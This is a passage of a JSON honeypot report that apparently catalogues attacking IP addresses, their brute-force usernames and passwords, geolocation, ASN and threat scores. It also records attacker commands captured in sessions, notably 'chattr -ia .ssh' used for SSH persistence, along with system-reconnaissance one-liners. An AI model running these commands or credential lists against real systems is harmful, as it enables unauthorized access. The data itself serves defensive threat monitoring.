        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T02:16:16.265000+00:00",
        "last_seen_30d": "2026-03-19T02:30:10.079000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "140.249.22.89": {
      "attack_count": 40,
      "first_seen": "2026-03-08T21:10:41.636Z",
      "last_seen": "2026-03-08T21:38:51.968Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "cristi",
        "eder",
        "elemental",
        "ftpd",
        "omm",
        "sysadmin"
      ],
      "passwords_attempted": [
        "1234",
        "Elemental123",
        "Sysadmin123!",
        "cristi",
        "eder123",
        "ftpd123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 58541,
      "as_org": "Qingdao,266000",
      "threat_score": 7.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 63,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T21:10:41.636000+00:00",
        "last_seen_30d": "2026-03-08T21:48:52.492000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 40,
        "Suricata": 23
      }
    },
    "165.22.104.119": {
      "attack_count": 40,
      "first_seen": "2026-03-02T06:28:02.019Z",
      "last_seen": "2026-03-02T06:36:10.726Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "123qwe",
        "123qwerty",
        "21",
        "321",
        "4321",
        "54321"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 57,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T06:28:02.019000+00:00",
        "last_seen_30d": "2026-03-02T06:37:19.241000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 40,
        "Suricata": 17
      }
    },
    "209.38.38.191": {
      "attack_count": 30,
      "first_seen": "2026-03-03T13:00:42.811Z",
      "last_seen": "2026-03-03T13:03:49.179Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123456",
        "12345678",
        "admin",
        "password"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T13:00:39.702000+00:00",
        "last_seen_30d": "2026-03-03T13:04:53.473000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 12
      }
    },
    "116.110.22.16": {
      "attack_count": 27,
      "first_seen": "2026-03-24T22:36:55.498Z",
      "last_seen": "2026-03-24T23:01:52.475Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root",
        "123456",
        "sshd",
        "system"
      ],
      "passwords_attempted": [
        "123456",
        "OkwKcECs8qJP2Z",
        "nimda",
        "sshd",
        "temp"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 23.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.1,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 41,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T22:36:55.498000+00:00",
        "last_seen_30d": "2026-03-24T23:02:58.802000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 27,
        "Suricata": 14
      }
    },
    "171.15.115.189": {
      "attack_count": 25,
      "first_seen": "2026-03-06T21:52:58.705Z",
      "last_seen": "2026-03-06T22:19:11.934Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "andy"
      ],
      "passwords_attempted": [
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 4.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 44,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T21:52:58.705000+00:00",
        "last_seen_30d": "2026-03-06T22:29:14.371000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 25,
        "Suricata": 19
      }
    },
    "2.57.121.69": {
      "attack_count": 16,
      "first_seen": "2026-03-19T04:50:47.914Z",
      "last_seen": "2026-03-25T07:02:06.580Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 25.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.5,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T04:50:47.914000+00:00",
        "last_seen_30d": "2026-03-25T07:03:13.950000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 12
      }
    },
    "163.7.6.154": {
      "attack_count": 15,
      "first_seen": "2026-03-12T03:41:05.226Z",
      "last_seen": "2026-03-12T03:42:21.621Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "orangepi",
        "root"
      ],
      "passwords_attempted": [
        "P",
        "admin",
        "orangepi"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 38.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.5,
        "persistence": 12.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 15,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-12T03:41:05.226000+00:00",
        "last_seen_30d": "2026-03-26T07:49:57.909000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 12,
        "Honeytrap": 1
      }
    },
    "128.201.148.124": {
      "attack_count": 10,
      "first_seen": "2026-03-26T18:13:24.572Z",
      "last_seen": "2026-03-26T18:42:20.045Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Bom Princ\u00edpio",
      "asn": 266632,
      "as_org": "Sul Internet Equipamentos de Informatica Ltda ME",
      "threat_score": 23.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.4,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T18:13:24.572000+00:00",
        "last_seen_30d": "2026-03-26T18:43:23.442000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 12,
        "Cowrie": 10
      }
    },
    "87.180.4.45": {
      "attack_count": 10,
      "first_seen": "2026-03-05T07:27:32.577Z",
      "last_seen": "2026-03-05T07:27:36.008Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "pi"
      ],
      "passwords_attempted": [
        "raspberry",
        "raspberryraspberry993311"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Bad T\u00f6lz",
      "asn": 3320,
      "as_org": "Deutsche Telekom AG",
      "threat_score": 3.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T07:27:32.577000+00:00",
        "last_seen_30d": "2026-03-05T07:28:43.607000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "46.151.182.45": {
      "attack_count": 9,
      "first_seen": "2026-03-02T21:36:54.106Z",
      "last_seen": "2026-03-07T22:45:19.824Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 205759,
      "as_org": "Ghosty Networks LLC",
      "threat_score": 23.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 7.5,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 2841,
        "days_active_30d": 9,
        "ports_targeted_30d": 430,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T12:58:43+00:00",
        "last_seen_30d": "2026-03-10T22:39:52.138000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Suricata": 2312,
        "Honeytrap": 518,
        "Cowrie": 9,
        "ConPot": 2
      }
    },
    "65.49.1.108": {
      "attack_count": 9,
      "first_seen": "2026-03-21T04:28:44.003Z",
      "last_seen": "2026-03-21T04:28:44.188Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.41"
      ],
      "passwords_attempted": [
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "Accept-Encoding: gzip",
        ""
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 345,
        "days_active_30d": 30,
        "ports_targeted_30d": 85,
        "honeypots_triggered_30d": 13,
        "first_seen_30d": "2026-03-02T03:39:56+00:00",
        "last_seen_30d": "2026-03-31T12:09:58.836000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 205,
        "Honeytrap": 81,
        "Mailoney": 12,
        "Redishoneypot": 11,
        "Cowrie": 9,
        "H0neytr4p": 9,
        "Miniprint": 8,
        "ConPot": 2,
        "Dionaea": 2,
        "ElasticPot": 2,
        "Honeyaml": 2,
        "CitrixHoneypot": 1,
        "Ipphoney": 1
      }
    },
    "45.82.78.108": {
      "attack_count": 8,
      "first_seen": "2026-03-03T02:03:26.846Z",
      "last_seen": "2026-03-03T02:03:27.420Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 212512,
      "as_org": "Detai Prosperous Technologies Limited",
      "threat_score": 98.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 28.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 689,
        "days_active_30d": 30,
        "ports_targeted_30d": 83,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-02T03:05:45+00:00",
        "last_seen_30d": "2026-03-31T20:32:57.874000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 360,
        "Honeytrap": 307,
        "Dionaea": 9,
        "Cowrie": 8,
        "Ciscoasa": 4,
        "H0neytr4p": 1
      }
    },
    "64.62.197.17": {
      "attack_count": 8,
      "first_seen": "2026-03-10T10:50:03.031Z",
      "last_seen": "2026-03-25T08:41:17.746Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 287,
        "days_active_30d": 30,
        "ports_targeted_30d": 77,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-03-02T14:31:12.339000+00:00",
        "last_seen_30d": "2026-03-31T11:03:38.062000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 168,
        "Honeytrap": 89,
        "Cowrie": 8,
        "Miniprint": 8,
        "Adbhoney": 4,
        "Tanner": 4,
        "ConPot": 2,
        "Dionaea": 2,
        "CitrixHoneypot": 1,
        "ElasticPot": 1
      }
    },
    "91.224.92.22": {
      "attack_count": 8,
      "first_seen": "2026-03-11T22:04:29.616Z",
      "last_seen": "2026-03-13T16:09:35.583Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 209605,
      "as_org": "UAB Host Baltic",
      "threat_score": 24.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.6,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T22:04:29.616000+00:00",
        "last_seen_30d": "2026-03-22T17:28:42.737000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 15,
        "Cowrie": 8
      }
    },
    "188.137.255.110": {
      "attack_count": 7,
      "first_seen": "2026-03-18T06:47:09.088Z",
      "last_seen": "2026-03-18T06:49:26.151Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Oude Meer",
      "asn": 211381,
      "as_org": "Podaon SIA",
      "threat_score": 13.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T06:33:49.271000+00:00",
        "last_seen_30d": "2026-03-18T06:50:34.507000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 7,
        "Suricata": 6
      }
    },
    "114.35.208.179": {
      "attack_count": 6,
      "first_seen": "2026-03-12T01:02:22.428Z",
      "last_seen": "2026-03-31T09:26:01.569Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Kaohsiung",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 38.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.5,
        "persistence": 16.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 20,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T01:02:22.428000+00:00",
        "last_seen_30d": "2026-03-31T09:27:10.450000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "167.94.138.184": {
      "attack_count": 6,
      "first_seen": "2026-03-08T07:38:20.142Z",
      "last_seen": "2026-03-08T07:38:56.815Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 56.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.7,
        "persistence": 16.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 186,
        "days_active_30d": 20,
        "ports_targeted_30d": 46,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-02T00:01:49+00:00",
        "last_seen_30d": "2026-03-21T04:20:38.502000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 111,
        "Honeytrap": 48,
        "ElasticPot": 9,
        "ConPot": 6,
        "Cowrie": 6,
        "Redishoneypot": 6
      }
    },
    "80.94.92.17": {
      "attack_count": 6,
      "first_seen": "2026-03-15T16:38:15.183Z",
      "last_seen": "2026-03-15T16:38:38.966Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 35.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 1.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3590,
        "days_active_30d": 2,
        "ports_targeted_30d": 998,
        "honeypots_triggered_30d": 15,
        "first_seen_30d": "2026-03-14T21:45:18.865000+00:00",
        "last_seen_30d": "2026-03-15T20:49:06.632000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Suricata": 2467,
        "Honeytrap": 1064,
        "Dionaea": 10,
        "Redishoneypot": 8,
        "Ciscoasa": 7,
        "ConPot": 6,
        "Cowrie": 6,
        "CitrixHoneypot": 4,
        "ElasticPot": 4,
        "H0neytr4p": 4,
        "Tanner": 3,
        "Adbhoney": 2,
        "Dicompot": 2,
        "Honeyaml": 2,
        "Miniprint": 1
      }
    },
    "1.94.220.55": {
      "attack_count": 5,
      "first_seen": "2026-03-20T03:45:00.816Z",
      "last_seen": "2026-03-20T03:45:03.985Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "mehedi"
      ],
      "passwords_attempted": [
        "mehedi123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 55990,
      "as_org": "Huawei Cloud Service data center",
      "threat_score": 13.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T03:45:00.816000+00:00",
        "last_seen_30d": "2026-03-20T03:46:07.869000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "114.220.238.84": {
      "attack_count": 5,
      "first_seen": "2026-03-06T08:50:43.945Z",
      "last_seen": "2026-03-06T08:50:53.641Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "zhao"
      ],
      "passwords_attempted": [
        "zhaopass"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T08:50:43.945000+00:00",
        "last_seen_30d": "2026-03-06T08:51:58.920000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "121.29.4.79": {
      "attack_count": 5,
      "first_seen": "2026-03-26T18:20:31.983Z",
      "last_seen": "2026-03-26T18:20:34.474Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "XSW@.ZAQ!"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 18.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T18:20:31.983000+00:00",
        "last_seen_30d": "2026-03-26T18:21:35.512000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "172.94.9.57": {
      "attack_count": 5,
      "first_seen": "2026-03-06T02:29:58.396Z",
      "last_seen": "2026-03-06T02:30:00.773Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123!Kelltech"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 5.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.6,
        "persistence": 3.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 4,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T08:59:55.886000+00:00",
        "last_seen_30d": "2026-03-06T02:31:10.153000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 5,
        "Heralding": 2
      }
    },
    "185.93.89.100": {
      "attack_count": 5,
      "first_seen": "2026-03-05T23:21:53.956Z",
      "last_seen": "2026-03-05T23:21:56.298Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "kelltech"
      ],
      "passwords_attempted": [
        "kelltech1234"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 4.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 2.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 3,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T08:26:10.733000+00:00",
        "last_seen_30d": "2026-03-05T23:22:56.882000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 5,
        "Heralding": 1
      }
    },
    "77.90.185.75": {
      "attack_count": 5,
      "first_seen": "2026-03-06T04:43:32.389Z",
      "last_seen": "2026-03-06T04:43:34.898Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "@2026kelltech"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T04:43:32.389000+00:00",
        "last_seen_30d": "2026-03-06T04:44:42.503000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
